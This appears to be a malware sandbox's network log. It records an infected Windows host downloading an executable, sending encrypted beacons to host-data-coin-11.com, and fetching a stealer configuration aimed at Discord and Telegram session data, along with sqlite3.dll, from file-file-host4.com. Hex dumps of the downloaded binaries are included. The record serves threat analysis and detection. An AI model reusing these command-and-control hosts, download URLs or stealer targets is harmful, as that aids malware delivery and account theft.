Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.633940935 CET	2708	OUT	GET /6.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.7.214.171:8080
Dec 28, 2021 05:19:01.695663929 CET	2710	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:01 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Transfer-Encoding: Binary Content-disposition: attachment; filename="4ip1dxwse71k7.exe" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 33 36 38 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 81 24 25 2c c5 45 4b 7f c5 45 4b 7f c5 45 4b 7f db 17 cf 7f de 45 4b 7f db 17 de 7f de 45 4b 7f db 17 c8 7f a6 45 4b 7f e2 83 30 7f c0 45 4b 7f c5 45 4a 7f bc 45 4b 7f db 17 c1 7f c4 45 4b 7f db 17 df 7f c4 45 4b 7f db 17 da 7f c4 45 4b 7f 52 69 63 68 c5 45 4b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 37 be a0 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 b0 00 00 00 c2 42 00 00 00 00 00 ff 1a 00 00 00 10 00 00 00 c0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 43 00 00 04 00 00 5c d5 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 56 03 00 3c 00 00 00 00 70 42 00 80 ed 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 c1 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 52 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 ae 00 00 00 10 00 00 00 b0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a4 9d 02 00 00 c0 00 00 00 9e 02 00 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 f6 3e 00 00 60 03 00 00 16 00 00 00 52 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 65 77 65 78 00 00 72 02 00 00 00 60 42 00 00 04 00 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 ed 00 00 00 70 42 00 00 ee 00 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3680MZ@!L!This program cannot be run in DOS mode.$$%,EKEKEKEKEKEK0EKEJEKEKEKEKRichEKPEL7_B@`C\<V<pBR@H.textp `.rdata@@.data`>`R@.wewexr`Bh@@.rsrcpBl@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49794	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:02.321827888 CET	2724	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eaidisso.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 233 Host: host-data-coin-11.com
Dec 28, 2021 05:19:02.321844101 CET	2724	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8a 66 5d 02 c8 a1 c1 64 17 d7 d3 32 Data Ascii: 7xG5f0@^wmDu$f]d2>mwp-T%ZJr"j%)oJ(M{ntxiGD0mMQ?&%*8T?&ditPf~RLNQQZ}hZJBl
Dec 28, 2021 05:19:02.443386078 CET	2725	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49795	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:02.567060947 CET	2726	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yacyom.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: host-data-coin-11.com
Dec 28, 2021 05:19:02.567255020 CET	2726	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 4d c7 d7 67 Data Ascii: 7xG5f0@^wmDu$f]dMgWe>ow]W<)Pjacx$lYj98A"RD"*R8@-1Mm5N-s&c4>_-%:6P\|bDo
Dec 28, 2021 05:19:02.680619001 CET	2727	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49796	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:02.815735102 CET	2728	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ebhyi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: host-data-coin-11.com
Dec 28, 2021 05:19:02.815757036 CET	2728	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 14 81 b7 07 Data Ascii: 7xG5f0@^wmDu$f]dX3'QEG1F<'NzahR`.-BWw!"Ds;{]XR"+'V(}w7!`~y"i=u\L#kdEfAUKDoqH6rBZ
Dec 28, 2021 05:19:02.933667898 CET	2728	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49797	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:03.062716961 CET	2729	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jtcndb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: host-data-coin-11.com
Dec 28, 2021 05:19:03.062721968 CET	2730	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 47 b2 ab 71 Data Ascii: 7xG5f0@^wmDu$f]dGq'YlQzjj"k&8@O"S;a58CD*oX7[s1m'?RSb K1\IX@D]pw,+":WK2{Wt7TF8[
Dec 28, 2021 05:19:03.182194948 CET	2730	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b5 50 db 41 d4 fd 25 8d 2a ed aa 96 56 2b e3 b1 48 22 e3 b3 b7 6c f6 9e b8 5e a9 77 96 c4 30 41 56 39 0f 4c da bb 4d b3 f2 40 84 a0 c3 00 c6 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XPA%*V+H"l^w0AV9LM@`i0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49799	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:03.504267931 CET	3281	OUT	GET /tratata.php HTTP/1.1 Host: file-file-host4.com Connection: Keep-Alive Cache-Control: no-cache
Dec 28, 2021 05:19:03.621061087 CET	3282	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Data Raw: 63 34 0d 0a 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: c4MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49800	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:03.713118076 CET	3282	OUT	GET /sqlite3.dll HTTP/1.1 Host: file-file-host4.com Cache-Control: no-cache Cookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Dec 28, 2021 05:19:03.808496952 CET	3284	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: application/x-msdos-program Content-Length: 645592 Connection: close Last-Modified: Wed, 08 Dec 2021 03:32:46 GMT ETag: "9d9d8-5d29a24b21380" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113
Dec 28, 2021 05:19:03.808551073 CET	3285	IN	Data Raw: 5a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z@B/124t@B
Dec 28, 2021 05:19:03.808592081 CET	3286	IN	Data Raw: 04 c6 41 28 00 c6 41 29 00 c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e Data Ascii: A(A)A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]
Dec 28, 2021 05:19:03.808634043 CET	3288	IN	Data Raw: a1 18 a2 97 60 89 04 24 89 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 Data Ascii: `$U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8
Dec 28, 2021 05:19:03.808680058 CET	3289	IN	Data Raw: 40 a2 97 60 89 5d d8 89 da c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 Data Ascii: @`]UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u
Dec 28, 2021 05:19:03.808721066 CET	3291	IN	Data Raw: 75 e0 89 45 cc 80 fa 2e 0f 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f Data Ascii: uE.7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]s
Dec 28, 2021 05:19:03.808758020 CET	3292	IN	Data Raw: c4 44 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a Data Ascii: D[^_UWVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtU
Dec 28, 2021 05:19:03.808796883 CET	3293	IN	Data Raw: 00 00 80 74 04 f7 d8 eb 05 b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc Data Ascii: tUVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1ff
Dec 28, 2021 05:19:03.808836937 CET	3295	IN	Data Raw: 00 00 00 00 5b c9 c3 55 89 e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 Data Ascii: [UPH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($
Dec 28, 2021 05:19:03.808902025 CET	3296	IN	Data Raw: 83 78 0c 00 74 30 8b 18 8b 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df Data Ascii: xt0$sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}
Dec 28, 2021 05:19:03.872704983 CET	3298	IN	Data Raw: df ff ff c7 43 5c 00 00 00 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 Data Ascii: C\C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49801	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
